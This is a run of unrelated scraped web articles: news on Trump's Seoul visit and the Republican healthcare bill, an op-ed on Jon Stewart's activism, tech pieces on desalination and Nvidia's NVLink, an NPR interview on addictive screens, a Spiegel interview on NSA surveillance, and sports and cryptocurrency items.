Stewart also raised awareness about numerous other issues through comedy, often ones that most pundits avoided. One example was Stewart’s concern for the Palestinian civlians killed by the Israeli military over the years. Stewart raised this issue in earnest in a 2009 segment titled “Gaza Strip Maul” that highlighted the 700-plus Palestinian civilians that had been recently killed by the IDF, calling it a “civilian carnage Toyotathon.”
And during last summer’s Gaza war, Stewart not only mocked the argument that the people of Gaza had a place to flee to (“what are they supposed to do, swim for it?!”), he also pressed his guest Hillary Clinton over her hawkish views on the conflict.
Stewart knew full well that that by speaking out about Palestinian suffering, he would be criticized. And sure enough he was viciously attacked by right-wing Israel supporters such as Mark Levin and anti-Muslim hatemonger Pam Geller, who called Stewart “the most disgusting Jew on the planet.”
To me, Stewart’s discussion of this issue over the years was at least partially, if not primarily, responsible for the outpouring of concern voiced by celebrities like Madonna, Rihanna, Selena Gomez, and the NBA’s Dwight Howard over the IDF’s killing of Palestinian civilians last summer. And in turn this has influenced the view many hold on the issue, as I witnessed firsthand on social media.
Stewart has also used comedy to highlight a range of issues from railing against the Iraq War, to discussing the desperate need to counter gun violence, to focusing on police misconduct, and to the effort by some on the right to use “religious liberty” as an excuse to discriminate against gays. His work made us laugh and made us smarter, which is undoubtedly why a May poll named him the top political pundit in America, far eclipsing the likes of Rush Limbaugh and Bill Maher. This same poll unsurprisingly found Stewart to be the most fearless pundit, noting that he was unafraid to confront “issues that others ignore.”
Apart from political issues, Stewart has also had a meaningful impact on my life. The most direct was that he agreed to be in the The Muslims Are Coming! documentary I co-directed. He didn’t have any skin in the fight against anti-Muslim bigotry, but battling bigotry was important to Stewart regardless of the community being targeted.
And in the bigger picture, Stewart has made political comedy more appealing, especially to college-aged audiences. This not only meant more informed young people, it also meant more bookings at colleges for me and other political comedians. While I won’t deny that the extra income was very helpful, you have to understand that most political comedians view ourselves as activists to some degree. Thanks to Stewart making the genre more popular, the increased bookings enabled us to spread our comedy message farther and wider in the hopes of changing people’s views.
Stewart has been an inspiration to millions, including me, encouraging us to speak out on issues. Of course, not everyone will miss him as Donald Trump recently made clear on Twitter: “While Jon Stewart is a joke, not very bright and totally overrated, some losers and haters will miss him and his dumb clown humor. Too bad!”
I hope there comes a day when Stewart realizes that he did more than make us laugh. He truly made a difference.SEOUL (Reuters) - President Donald Trump on Tuesday warned North Korea he was prepared to use the full range of U.S. military power to stop any attack, but in a more conciliatory appeal than ever before he urged Pyongyang to “make a deal” to end the nuclear standoff.
Speaking on North Korea’s doorstep during a visit to Seoul, Trump said that while “we hope to God” not to have to resort to the use of full U.S. military might, he was ready to do whatever was necessary to prevent the “North Korean dictator” from threatening millions of lives.
“We cannot allow North Korea to threaten all that we have built,” Trump said after talks with South Korean President Moon Jae-in, who has supported diplomatic outreach to Pyongyang.
But at times taking a more measured, less confrontational tone, Trump also urged North Korea to “do the right thing” and added that: “I do see some movement,” though he declined to elaborate.
“It really makes sense for North Korea to come to the table and make a deal,” Trump told reporters at a joint news conference with Moon.
Despite Trump’s renewed threats against North Korea, it was a far cry from the more strident approach he has pursued in recent months, including his previous dismissal of any diplomatic efforts with Pyongyang as a waste of time.
North Korean leader Kim Jong Un has made clear, however, that he has little interest in negotiations, at least until he has developed a nuclear-tipped missile capable of hitting the U.S. mainland.
Landing earlier at Osan Air Base outside Seoul, the president and First Lady Melania Trump stepped down from Air Force One onto a red carpet as he began a 24-hour visit that could aggravate tension with North Korea.
He then flew by helicopter to Camp Humphreys, the largest U.S. military base in the country, and met U.S. and South Korean troops, along with Moon.
The White House billed Trump’s trip as intended to demonstrate U.S. resolve over a hardline approach to the North Korean nuclear and missile threats.
But many in the region had expressed fear that any further bellicose rhetoric by Trump toward Pyongyang could increase the potential for a devastating military conflict.
TRUMP PRAISE FOR MOON
Trump praised Moon for “great cooperation” despite differences in the past over how to confront North Korea and over a trade pact between the United States and South Korea.
At the news conference, the leaders said they had agreed to renegotiate the trade agreement in a timely fashion.
In formal talks after an elaborate welcoming ceremony outside the presidential Blue House in Seoul, Moon told Trump he hoped his visit would relieve some of South Koreans’ anxiety over North Korea.
Pyongyang’s recent nuclear and missile tests in defiance of U.N. resolutions and an exchange of insults between Trump and Kim have raised the stakes in the most critical international challenge of Trump’s presidency.
At the news conference, Trump said Pyongyang must understand the “unparalleled strength” that Washington had at its disposal.
He cited three U.S. aircraft carrier strike groups that are converging on the Western Pacific for exercises as well as a nuclear submarine he said was also in position.
Trump has rattled some U.S. allies with his vow to “totally destroy” North Korea if it threatens the United States and by deriding Kim as a “Rocket Man on a suicide mission.”
Kim responded by calling Trump a “mentally deranged U.S. dotard.”
U.S. President Donald Trump and South Korea’s President Moon Jae-in hold a news conference at South Korea’s presidential Blue House in Seoul, South Korea, November 7, 2017. REUTERS/Jonathan Ernst
Trump’s senior aides privately have since urged him to avoid “personalizing” the conflict any further, U.S. officials say.
On the second leg of his five-nation trip, Trump toured the sprawling Camp Humphreys garrison, which lies about 100 km (60 miles) from the border with reclusive North Korea, and met commanders and troops.
The base visit gave him a first-hand view of the massive military assets the United States has in place in South Korea, but it also could serve as a reminder of the cost in U.S. military lives – as well as the potential massive South Korean civilian losses – if the current crisis spirals into war.
“MAY YOUR DREAMS COME TRUE”
Trump wrapped up his first day with a dinner hosted at the Blue House, dining on grilled sole, beef ribs and chocolate cake while being serenaded by a K-pop singer with an orchestra in the background.
“Mr President, may your dreams come true,” Trump said to Moon, raising his glass in a toast.
North Korea has not conducted a missile test for 53 days, the longest such lull in testing this year. North Korean state media has not commented on Trump’s arrival in the South.
South Korea’s spy agency said last week that North Korea may be preparing another missile test, raising speculation that such a launch could be timed for Trump’s trip to the region.
U.S. officials have said privately that intercepting a test missile is among options under consideration, though there is disagreement within the administration about the risks.
Trump had previously criticized Moon over his support for diplomatic engagement with Pyongyang – something the U.S. president once called “appeasement” – but both leaders used Tuesday’s news conference to stress common ground.
Moon urged maximum pressure from sanctions against North Korea to force it to negotiate abandonment of its nuclear program, something Pyongyang says it will never give up.
Slideshow (28 Images)
Several hundred supporters and protesters lined the streets of downtown Seoul as Trump’s motorcade passed by en route to the Blue House, waving flags and posters, with some saying, “No Trump, No War, Yes Peace,” while others cheered, “Trump! Trump!”
Trump will deliver a speech on Wednesday to South Korea’s National Assembly expected to focus heavily on his North Korea policy, which has stressed sanctions and military pressure instead of diplomatic engagement with Pyongyang.
The North accuses the United States, which has 28,500 troops in South Korea, a legacy of the 1950-53 Korean war, of planning to invade and regularly threatens to destroy it and its Asian allies. Washington denies any such intention.
(This version of the story was refiled to add dropped “Trump” in third-from-last paragraph)Cheaper Desalination – Saltworks Breakthrough
November 16th, 2009 by Paul O’Callaghan
Paul O’Callaghan is CEO of Cleantech consultancy firm, O2 Environmental Inc. and author of Water Technology Markets.
Canadian firm, Saltworks Technologies, just came out of stealth in relation to their desalination technology, which they claim reduce the electrical energy required for desalination by over 70%. They report they can produce 1m3 of water with 1kW hour of electrical energy, compared to the 3.7kWhr per m3, which is what is currently achievable using reverse osmosis with the use of energy recovery devices.
[social_buttons]So how to they do it? Well its novel. It appears to be a new approach. And novel and new are two things scarce as hens teeth in relation to desalination technologies.
They use solar heat (or waste heat) to evaporate water and concentrate salt water. They are converting solar energy into osmotic energy by doing this. They then use this osmotic energy to desalinate water.
They then expose the concentrated salt water to two separate solutions of regular salt water via two different ‘bridges’, one which is porous to chloride ions, the second which is porous to sodium ions.
The sodium and chloride ions migrate across the respective bridges into the salt water solutions to equalize the difference in ion concentration between the solutions.
This creates two charged solutions, one enriched with sodium ions (positively charged), the second enriched with chloride ions (negatively charged).
These two solutions are then exposed across two similar bridges to the water to be desalinated. This draws sodium ions into the chloride enriched solution and draws chloride ions into the sodium enriched solution: Net result desalination. Doing this they reckon they can produce 1m3 of water using 1kWh of electrical energy, which is used to pump fluids around the pipework.
Because the system is not under pressure, they can use plastic pipes instead of steel pipes, potentially reducing capital costs also.
I met with Saltworks about six months ago in Vancouver and I was impressed by the methodical way they have been going about technology commercialization. Despite winning a technology innovation award in British Columbia in May 2009, they have kept this remarkably quiet.
An article in the Economist provides a good review of this.
Image credit: Snap a creative commons via FlickrMost of the time, when you hear the word testosterone it is followed by some non-scientific generalisation about anger, adultery or banking (or a near rhyme of that word).
As well as making men men, this steroid hormone – which is responsible for reproduction - has come to define men, often in a negative way.
In his new book, Testosterone: Sex, Power and the Will to Win, Professor Joe Herbert, of the University of Cambridge’s Department of Clinical Neurosciences, opens his reflections on the chemistry and social and biological function of this much-maligned molecule which comes mainly from the male testes with a reminder
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16nm FinFET process promises to be significantly more power efficient than planar 28nm. It also promises to bring about a considerable improvement in transistor density. Which would enable Nvidia to build faster, significantly more complex and more power efficient GPUs.
TSMC’s 16FF+ (FinFET Plus) technology can provide above 65 percent higher speed, around 2 times the density, or 70 percent less power than its 28HPM technology. Comparing with 20SoC technology, 16FF+ provides extra 40% higher speed and 60% power saving. By leveraging the experience of 20SoC technology, TSMC 16FF+ shares the same metal backend process in order to quickly improve yield and demonstrate process maturity for time-to-market value.
Apart from HBM2 and 16nm there is one big compute-centric feature that Nvidia will debut with Pascal. And it’s NVLink. Pascal will be the first GPU from the company to support this new proprietary server interconnect.
NVIDIA Volta GPUs and IBM Power9 CPUs Enabled Supercomputers in 2017: The technology targets GPU accelerated servers where the cross-chip communication is extremely bandwidth limited and a major system bottleneck. Nvidia states that NV-Link will be up to 5 to 12 times faster than traditional PCIE 3.0 making it a major step forward in platform atomics. Earlier this year Nvidia announced that IBM will be integrating this new interconnect into its upcoming PowerPC server CPUs. NVLink will debut with Nvidia’s Pascal in 2016 before it makes its way to Volta in 2018.
NVLink is an energy-efficient, high-bandwidth communications channel that uses up to three times less energy to move data on the node at speeds 5-12 times conventional PCIe Gen3 x16. First available in the NVIDIA Pascal GPU architecture, NVLink enables fast communication between the CPU and the GPU, or between multiple GPUs. Figure 3: NVLink is a key building block in the compute node of Summit and Sierra supercomputers. VOLTA GPU Featuring NVLINK and Stacked Memory NVLINK GPU high speed interconnect 80-200 GB/s 3D Stacked Memory 4x Higher Bandwidth (~1 TB/s) 3x Larger Capacity 4x More Energy Efficient per bit. NVLink is a key technology in Summit’s and Sierra’s server node architecture, enabling IBM POWER CPUs and NVIDIA GPUs to access each other’s memory fast and seamlessly. From a programmer’s perspective, NVLink erases the visible distinctions of data separately attached to the CPU and the GPU by “merging” the memory systems of the CPU and the GPU with a high-speed interconnect. Because both CPU and GPU have their own memory controllers, the underlying memory systems can be optimized differently (the GPU’s for bandwidth, the CPU’s for latency) while still presenting as a unified memory system to both processors. NVLink offers two distinct benefits for HPC customers. First, it delivers improved application performance, simply by virtue of greatly increased bandwidth between elements of the node. Second, NVLink with Unified Memory technology allows developers to write code much more seamlessly and still achieve high performance. via NVIDIA News
GPU Family Vega NVIDIA Pascal Flagship GPU Vega 10 GP102 GPU Process 14nm FinFET 16nm FinFET GPU Transistors Up To 18 Billion 12 Billion Memory Up to 16 GB HBM2 12GB GDDR5X Bandwidth 512 GB/s 480 GB/s Graphics Architecture Vega (NCU) Pascal Predecessor Fiji (Fury Series) GM200 (900 Series)
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Unlike with Maxwell, Nvidia has laid major focus on compute and GPGPU acceleration with Pascal. The slew of new features and technologies that Nvidia will debut with Pascal emphasize this focus. Including the use of next generation stacked High Bandwidth Memory, high-speed NVLink GPU interconnect and the addition of mixed precision compute at double the rate of full precision compute to push perf/watt. We can’t wait to see Pascal in action later this year, but until then stay tuned for the latest.WASHINGTON (Reuters) - President Donald Trump, striving to make good on a top campaign promise, is pushing his fellow Republicans who control Congress to pass revamped healthcare legislation but the same intraparty squabbling that torpedoed it last month could do it again.
FILE PHOTO: Protesters demonstrate against U.S. President Donald Trump and his plans to end Obamacare outside the White House in Washington, U.S., March 23, 2017. REUTERS/Kevin Lamarque/File Photo
Trump is looking for his first major legislative victory since taking office in January. House of Representatives Republicans are exploring compromises aimed at satisfying the party’s most conservative members without antagonizing its moderates, but it remained unclear on Friday whether a viable bill would emerge.
Trump on Friday played down the need for Congress to act on the legislation before he reaches his 100th day in office next weekend, telling reporters, “We’ll see what happens - no particular rush.” Trump on Thursday had predicted “a good chance of getting it soon,” either “next week or shortly thereafter.” On Friday, he said it “doesn’t matter if it’s next week.”
Congress, returning from a recess next week, also will be working against the clock to pass legislation to keep the government funded past April 28 and avert a federal shutdown.
Healthcare legislation did not appear on the schedule released on Friday by House Republican leaders of bills to be considered next week.
“We’re going to get it done when it’s appropriate in terms of getting to that 216,” White House spokesman Sean Spicer told reporters, referring to the vote total needed for House passage before the bill goes to the Senate.
Trump’s party cannot afford defections because Democrats remain unified against the Republican quest to repeal and replace the Affordable Care Act, Democratic former President Barack Obama’s signature domestic policy achievement, dubbed Obamacare. Trump campaigned on a pledge to discard Obamacare.
In a stinging setback for Trump, Speaker Paul Ryan pulled the legislation from the House floor on March 24 before allowing it to come to a vote amid a revolt by conservatives in a faction called the House Freedom Caucus and moderates unhappy with concessions to the conservatives.
Republicans have called Obamacare a government overreach. The law enabled 20 million Americans to obtain insurance, many through an expansion of the Medicaid program for the poor.
A senior House Republican aide said it was not clear whether a revamped Republican plan can attract 216 votes, adding that without a legislative text it was impossible to do a vote count to assess its chances.
MACARTHUR PROPOSAL
Moderate Republican Representative Tom MacArthur is pushing a proposal to allow states to waive some Obamacare provisions. MacArthur’s office said he has discussed it with other Republican lawmakers, the House leadership and the White House.
No text has emerged, but an outline of his proposal said states could seek to relax “essential benefits” that Obamacare requires insurance plans to cover, such as emergency room trips, maternity and newborn care, and mental health services.
States also could request waivers to Obamacare’s ban on insurers charging sick customers higher premiums than healthy customers. But states would have to establish “high-risk pools” using government funds to help pay for insurance for people with costly medical conditions.
Representative Rodney Davis told CNN on Friday he did not know what was in the deal, but added, “I’m not going to be for a plan that is going to allow for pre-existing conditions to not be covered.” MacArthur and Davis are members of the centrist House Republican Tuesday Group.
Freedom Caucus member Representative Dave Brat told CNN the new proposal gives states more say healthcare but was the “same fundamental bill” that collapsed last month.
Slideshow (3 Images)
The Republican plan, as written last month, would end the Medicaid expansion, let states impose work requirements on some Medicaid recipients, rescind a range of Obamacare taxes, get rid of a penalty on people who refuse to obtain insurance, and ditch Obamacare’s income-based subsidies to help people buy insurance while creating less-generous age-based tax credits.
The nonpartisan Congressional Budget Office forecast the earlier version of the plan would increase by 24 million the number of Americans without medical insurance by 2026.
During a Thursday conference call with House Democrats, their leader, Nancy Pelosi, urged them to remain united against the Republican legislation, saying it would increase healthcare costs and provide less insurance coverage, an aide who was on the telephone call said.How to deal with college debt 11:28 AM ET Tue, 30 May 2017 | 01:17
For many recent graduates, student loan debt is literally giving them nightmares.
Over the last decade, college-loan balances in the United States have jumped to an all-time high of $1.4 trillion, according to a recent report by Experian. The average outstanding balance is $34,144, up 62 percent over the last 10 years.
Those student loan payments have created an "unprecedented financial challenge" for borrowers, according to a new report by Gradifi, a Boston-based start-up that provides a student loan benefit platform for employers.
To that point, 80 percent of working professionals with student loan debt said it is a source of "significant" or "very significant" stress, according to the survey of more than 3,000 Americans conducted online in May.
Many millennials said that student loans have impacted their ability to go on vacation, buy a car, pay rent or get necessities like food and clothing.
And then there are the long-term consequences: From buying a home to getting married and even having children, an increasing number of young adults are putting off major milestones because of that one large liability.'Irresistible' By Design: It's No Accident You Can't Stop Looking At The Screen
Enlarge this image filo/Getty Images filo/Getty Images
Could smartphones and other screens be decreasing the human attention span? Author Adam Alter thinks so.
"Ten years ago, before the iPad and iPhone were mainstream, the average person had an attention span of about 12 seconds," Alter tells Fresh Air's Dave Davies. Now, he says, "research suggests that there's been a drop from 12 to eight seconds... shorter than the attention of the average goldfish, which is nine seconds."
Alter links our diminished attention spans to the "mainstream adoption of screens." His new book, Irresistible, explores the consequences of living in an increasingly computerized world.
Alter says that technology is designed to be addictive and that the gratification it provides is similar to that of other addictive behaviors, such as drug abuse or gambling.
"If I'm addicted to, say, World of Warcraft, the minute I start firing up the game... my brain will look [in a scan] very much like the brain of someone who's addicted to heroin and is preparing the next hit," he says. "During the act of playing the game... my brain will look very much like that person's brain will look as they're taking heroin, or the brain of someone who is addicted to gambling, as they sit in front of a slot machine and play the game."
Interview Highlights
Irresistible The Rise of Addictive Technology and the Business of Keeping Us Hooked by Adam Alter Hardcover, 354 pages | purchase close overlay Buy Featured Book Your purchase helps support NPR programming. How?
On how World of Warcraft game designers make it to be more addictive
One hundred million, roughly, have played the game, and by many measures, about half of them have developed an addiction, at least temporarily. So that to me suggests that it's a weaponized game; it's an experience that's very, very hard to resist.
Part of the reason for that is, I think, that these large game companies have access to an incredible trove of data. So one thing that a lot of the designers do is they'll release different versions of missions... to different people, sort of A/B test these different missions. They'll look at how long you play, whether you return to the game, and generally how engaged you are. They generally call this "time on device," which is a term that's borrowed from the gambling world — how long are you on the slot machine.
What they'll find is, for example, when you have to save [rescue] something, you spend more time playing than say, when you have to kill or find something. So what they'll do is they'll take the missions that aren't as successful and they'll cast them aside, and now they'll form three new versions of saving missions.... They'll continue that process through generation after generation after generation. So what you're left with after, say, 20 generations is this weaponized evolved version of the game, or a weaponized evolved mission, that is maximally addictive.
On an extreme case of World of Warcraft addiction
There was a person I spoke to, he was a straight-A student, he was very high-achieving, and he was also on the football team at his college. He started playing World of Warcraft because he, as he described it, was quite lonely and he found that there were a lot of other like-minded people on the game.
He developed an addiction pretty quickly because he found that it was basically a much better alternative world to the real one, and he spent a lot of time there.... He played instead of sleeping, and his greatest binge was a 45-day binge where he played almost continuously. He paid a doorman in the building to bring up pizza, so by the end of this binge there were stacks of pizza boxes to the ceiling. He put on about 40 pounds of fat. His skin was pale. He lost hair. He ignored hundreds of phone calls.
He eventually picked up a phone call 45 days later after sleeping roughly an hour each night. It happened to be his mother and she came, collected him, and took him to reSTART, this Internet addiction treatment center. He's now thriving, he's doing very well, but he had to go through multiple rounds of treatment.
Enlarge this image toggle caption John Fitzgerald/ Penguin Group USA John Fitzgerald/ Penguin Group USA
On the idea that tech designers should have an oath similar to the Hippocratic oath that doctors take, pledging not to harm their patients
Google, for example, had for a while a person on board known as a "design ethicist." Now, you don't have a design ethicist on board unless you're concerned about the ethics of the products you're creating. This person, named Tristan Harris, worked at Google for a while and eventually there was a sense that perhaps they weren't responsive enough to some of his concerns....
The suggestion there that you need an ethicist, it suggests at least to me that they're concerned about the addictiveness of the products. In fact, Tristan himself has written about that, and that's exactly what he says. He suggests that there should be, in the design world, a Hippocratic oath — just as in medicine doctors should "do no harm," he believes the same should be true of designers of these kinds of platforms; that people who design tech, people who design social media platforms, should be forced to obey the same rules — do no harm.
On how virtual reality is the next big thing to become mainstream
Virtual reality is basically when you put on goggles and you inhabit a virtual world that feels like it's real. You can move around in that world, you can interact with other things in that world, you basically are living in that world for all intents and purposes, and your brain often can't distinguish.
There's amazing footage of people doing all sorts of things when they're in the virtual reality world. They will walk into walls, not realizing the walls are there. They will not walk forward if in the virtual world there's a cliff, even though they know, they know they're in a world where they're safe — the real world....
If you talk to experts in the industry they'll say something like, say, between two and four years from now just as most of us own smartphones, we will pretty much all own these virtual reality goggles.... What that will mean is that at any moment in time you'll have a device that will allow you to escape the imperfect real world, and you'll be able to go to a perfect virtual world.... You can be where you are right now, or you can go to a beach in Greece, which might sound more appealing. You can be where you are right now, or you can interact with a beautiful person. You can be where you are now, or you can go traveling. You can do basically whatever it is you want to do, so it's hard to imagine people will want to inhabit the real world, when there's this perfect virtual world right there ready for the taking.SPIEGEL: According to a recent survey, nearly three-quarters of Americans believe National Security Agency (NSA) spying is infringing on their privacy rights. A proposal to restrict such programs failed only by a narrow margin in Congress. Are Americans beginning to fear a surveillance state?
Podesta: We are in uncharted territory, facing rapid technological change that has simply swamped our existing legal regime. The media's focus in recent weeks has circled almost exclusively around Edward Snowden's attempt to earn the world record for longest airport layover. But the focus on Snowden distracts from what is most problematic about the information he provided to the media.
SPIEGEL: And that is?
Podesta: Unlike the last time we had a national conversation about the NSA and domestic surveillance during the days of "warrantless wiretapping" in 2005, a legal framework exists today to support PRISM and the other programs. Therefore, the challenge is not rooted in the NSA overstepping its legal boundaries. Instead, new products and services, increasing processing power, and the decreasing cost of storing huge amounts of data means that surveillance on an unprecedented scale is now not just technologically possible but is also financially feasible for the first time. It is past time for us to begin a new national debate about what we want our surveillance laws to permit, particularly in light of how rapidly technology and society are changing.
SPIEGEL: And you believe that this debate will also continue despite the failed legislative push in Congress?
Podesta: The American people have the right to know and understand the laws they live under. And they tend to demand answers sooner or later. Look at similar debates on targeted drone strikes: We have seen an alliance of leftists and rightists against drones out of fear they might be used for domestic purposes. Obama had to get out there with a public address on his national security policy and he managed to largely quiet these critics. In retrospect, the only question was why he waited so long to give that speech.
SPIEGEL: So you want the President Obama to give a similar speech on spying?
Podesta: He would be well-advised to engage in a public debate. But he should also establish a national commission to examine these challenges in full. Presidential commissions have a long history of thoroughly and impartially investigating many national security issues, from Pearl Harbour to 9/11. The commission should be tasked with offering recommendations for a flexible legal framework that can easily accommodate technological advances while maintaining respect for civil liberties. It could also examine private-sector activities.
SPIEGEL: What activities do you mean?
Podesta: At the same time that new technology is enabling governments to engage in surveillance that once wasn't technologically feasible, consumers are voluntarily disclosing piles of personal data to private corporations -- and these disclosures are governed by those lengthy terms-and-conditions agreements -- the ones where people click the "OK" button without giving it a second thought. Every time we post something about ourselves on Facebook, we're helping that company build a sophisticated profile of us that it uses to sell targeted ads. Meanwhile, our smartphones with built-in GPS technology track our locations and our phone companies and Internet providers collect metadata on every call we make and every person we email. In the United States, court decisions from the pre-Internet days suggest that the information we give away voluntarily to these companies can be obtained fairly easily by the government. That legal rule may have made sense in an age before Facebook and iPhones, but we need a serious examination of whether it still makes sense today.
SPIEGEL: You talk a lot about the rights of Americans. But Europeans are furious that the NSA can spy on them with barely any restrictions.
Podesta: We need better oversight of our surveillance agencies and we need increased transparency at the Foreign Intelligence Surveillance Court. Surely we can meet our national security needs without sacrificing the respect for personal privacy that has long been a hallmark of American life. The president could quiet some of the international critics if he explained better what the US is doing.
SPIEGEL: Instead you hear in Washington that Europeans are "whiners" and "hypocrites".
Podesta: Well, I agree that European anger is largely hypocritical. Most of the governments there have known for a long time what the US has been doing and they have often cooperated closely and willingly. I understand why leaders in Europe need to speak out against PRISM and other programs, but they still act like hypocrites.The prize committee for the Sveriges Riksbank Prize in Economic Sciences in Memory of Alfred Nobel – known more commonly as the Nobel Prize in Economics – is set to discuss the nomination of bitcoin creator Satoshi Nakamoto.
The move comes days after UCLA finance professor Bhagwan Chowdhry penned an op-ed in The Huffington Post stating his intention to nominate Nakamoto for the prize. In his widely-covered article, Chowdhry wrote that Nakamoto deserves the prize because his invention, bitcoin, is “nothing short of revolutionary”.
Following its publication, however, some observers raised the question of whether Chowdhry violated nomination rules by publicly disclosing his intention to back Nakamoto.
When reached for comment, Göran K. Hansson, secretary general of the Royal Swedish Academy of Sciences – the organization that awards the Nobel Prizes – indicated that the potential rule violation will be discussed.
Hansson told CoinDesk:
“The Royal Swedish Academy of Sciences requests that nominations for the Economics Prize are kept secret. This is clearly stated in the invitation letters sent to nominators. The Prize Committee will now discuss the specific issue.”
Maria von Konow, communications manager for Nobel Media, had previously told CoinDesk that the following rule applies to the nomination process:
“The statutes of the Nobel Foundation restrict disclosure of information about the nominations, whether publicly or privately, for 50 years. The restriction concerns the nominees and nominators, as well as investigations and opinions related to the award of a prize.”
Hansson did not offer specifics on the nature of the forthcoming discussion, and did not immediately respond to further inquiry into possible outcomes.
Image via ShutterstockThe Bank of England (BOE) has launched a search for blockchain-savvy interns, offering the winning students the possibility of a six-week paid internship and the chance of landing a role within the organisation.
According to its website, applicants are encouraged to pitch an idea for a blockchain-based product that would contribute a positive change to UK society by 7th December.
The website reads:
“The point is that while the [blockchain] technology might include some risks, there are all sorts of far-sighted, game-chancing, life-enhancing ideas to pursue. We want to hear about yours.”
Students are encouraged to either enter individually or create a team of up to six people. The team, the website adds, can consist of first-, second-, third- and fourth-year students. All other entry requirements can be found here.
The winning team will also get an exclusive invitation to visit the Bank of England and meet some of its key figures working on the Projects, Data and Technology team.
The news comes after the BOE – the country’s central bank – published a report earlier this year, which noted that a combination of digital currencies and mobile technology could reshape the payments landscape.
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that postage is for flat paper not for merchandise items.DRM is a constantly tricky balancing act between deterring piracy, however briefly, and not upsetting every one of your legitimate customers. That's why it's always great to see copy-protection measures that specifically target, and hilariously mess with, inveterate torrenters. Whether it's Batman's uncontrollable cape in Arkham Asylum, or Serious Sam 3's immortal pink scorpion, pirate-specific hijinks provide the best kind of schadenfreude.
This specific example from Greenheart Games, creators of the Game Dev Story-like development sim Game Dev Tycoon, might be one of the best - if just for the hypocrisy at the heart of its piraception. The game's developers uploaded their game to "the number one torrent sharing site" with one key difference: As players built up their development studio, they are told that not enough people were buying legitimate copies of their games - leading to a slow and unavoidable financial collapse.
"Initially we thought about telling them their copy is an illegal copy, but instead we didn't want to pass up the unique opportunity of holding a mirror in front of them and showing them what piracy can do to game developers," explains Greenheart's Patrick Klug.
"Slowly their in-game funds dwindle, and new games they create have a high chance to be pirated until their virtual game development company goes bankrupt."
And some of the "customer" responses highlighted by Greenheart are amazing.
Key quote: "I mean can I research a DRM or something..."
Greenheart estimate 93.6% of the game's players were using a cracked version of the game at the end of its first day of release - roughly 3,104 users. Of course, it's worth reiterating that there are many nuanced caveats around the piracy debate - specifically that one pirated version does not equal one lost sale. You can read Greenheart's full analyses of their experiment here.
Thanks, NeoGAF.Former NBA All-Star Steve Francis decided to take in the Bulls-Wizards Game 4 Sunday afternoon.
And while a former player attending a game is not really noteworthy, the outfit he decided to wear for the occasion is worth a double take.
Francis decided to rock his own jersey to the game. The Franchise has played for the Rockets, Magic, Knicks and the Beijing Ducks (not the Bulls or the Wizards), so it’s not like he’s there supporting either team.
So, we’ve gotta ask: Why? Was he trying to make sure he would be recognized? Was it laundry day? Maybe he was rooting for his former team, the Rockets, who played later Sunday night.
Steve Francis behind the basket…wearing his own jersey? @dcsportsbog pic.twitter.com/maQq9a3DHn — Ryan Kelly (@RyanJKelly) April 27, 2014
We guess there have been crazy outfits being worn recently. We are in the NBA playoffs after all.
(H/T Bleacher Report)First off, let me be clear. I love Obafemi. He has been a great addition for our team and I really hope we keep him. But we don't pay him to get red cards and he's got two so far this season.
As of the Seattle vs. Houston match he has eight goals this season, one of which is the fantastic chip in our first match-up with San Jose, here, go ahead and rewatch it before you keep reading because I want you to remember why you like Obafemi before I lay into him. Alright, did you watch the video? One more, watch this beautiful silky pass of awesomeness. Did you watch it?
Good.
Now I won't feel guilty as I tear into Obafemi.
As of the end of Seattle vs. Houston, Obafemi has eight goals for the season. That's respectable enough putting him at #11 in the league right after LA's Zardes. But that is not the stat that he ranks best for...
Is it assists? Nope, #15 (trailing teammate Gonzalo Pineda.)
Is it minutes played? Nope, not even top 50.
It's red cards. His two red cards tie him with four other players for most in the league. That's not a good thing to be tied for first in. And it's a terrible thing for a DP to even be in the running for.
Why?
We, as a team, pay him to help us score goals. Every red card represents lost minutes of play which lessen his opportunity to score goals.
Some will argue that Obafemi didn't deserve his red card. Those people are wrong. Whether someone is arguing the first, or second, or both of his yellows. It doesn't matter what you think of the fouls, any of them. To think that Obafemi's red card can be blamed solely on the ref is a sham of an argument.
Players must play through refereeing, and Obafemi has been playing for far too long to lose his cool and make the sort of fouls which even put him at risk of a second yellow. Look, I get that he's probably frustrated by his lack of goals recently and it certainly looked like he was getting absolutely manhandled in that match, but that doesn't excuse the play. The tackle which earned him his second yellow was high risk for low reward.
I mean it isn't as if referee Chris Penso hadn't been giving out cards tonight and this was a surprise out of nowhere.
I'm going to ignore the first penalty because in this equation it simply doesn't matter. As soon as it is given, it's the reality and the circumstances where it came from become irrelevant.
Here's the play by play of the foul which earned the second yellow:
In the 86' minute Obafemi has the ball poked away by Beasley, Obafemi then gives chase to fight for the ball. He bumps into another Dynamo before sprinting after Houston's #22 Brian Ownby. He decides to slide tackle from behind in hopes of poking the ball away from Ownby. Now, there are times to make a tackle like this. Those situations are usually ones where the attacker is about to break away. That is not the case as Obafemi makes his slide tackle on Ownby.
The foul has all the signs of being one of passion. Obafemi wants the ball back. He is a fighter that's why we love him. But this fight is not a fight that he's going to win. And in fact, it is a fight that is incredibly unnecessary as Ownby is about to run into not only Ozzie Alonso, but also defender Leo Gonzalez. Granted, Obafemi's impact is definitely soft and he pulls his feet back, but his collision is still contact from behind that brings Ownby to the ground. It's a stupid foul and one that an experienced DP player should never make.
Now because of it Martins' is going to miss the Sounders' upcoming match against Real Salt Lake on the road, a match where the Sounders need every offensive weapons to take on the MLS's newly-minted clean-sheet record-holder Nick Rimando.
So that is why, while thousands of fans in CenturyLink applauded Obafemi as he walked off the turf after his red card, I shook my head in frustration, as fans lauded a costly and highly paid petty and stupid foul.File - In this April 20, 2016 file photo, customers buy products at the Harvest Medical Marijuana Dispensary in San Francisco. From California, with its counterculture heritage, to the fishing ports and mill towns of Maine, millions of Americans in nine states have a chance to vote Nov. 8 on expanding legal access to marijuana. Collectively, the ballot measures amount to the closest the U.S. has come to a national referendum on the drug. (AP Photo/Haven Daley, File)
SAN FRANCISCO (AP) — From California, with its counterculture heritage, to the fishing ports and mill towns of Maine, millions of Americans in nine states have a chance to vote Nov. 8 on expanding legal access to marijuana. Collectively, the ballot measures amount to the closest the U.S. has come to a national referendum on the drug.
Five states — Arizona, California, Maine, Massachusetts and Nevada — will consider legalizing the recreational use of pot. Three others — Florida, Arkansas and North Dakota — will decide whether to permit marijuana for medical purposes. Montana will weigh whether to ease restrictions on an existing medical marijuana law.
As the most populous state, with a reputation for trend-setting, California is attracting the most attention — and money — in an intensifying debate over Proposition 64.
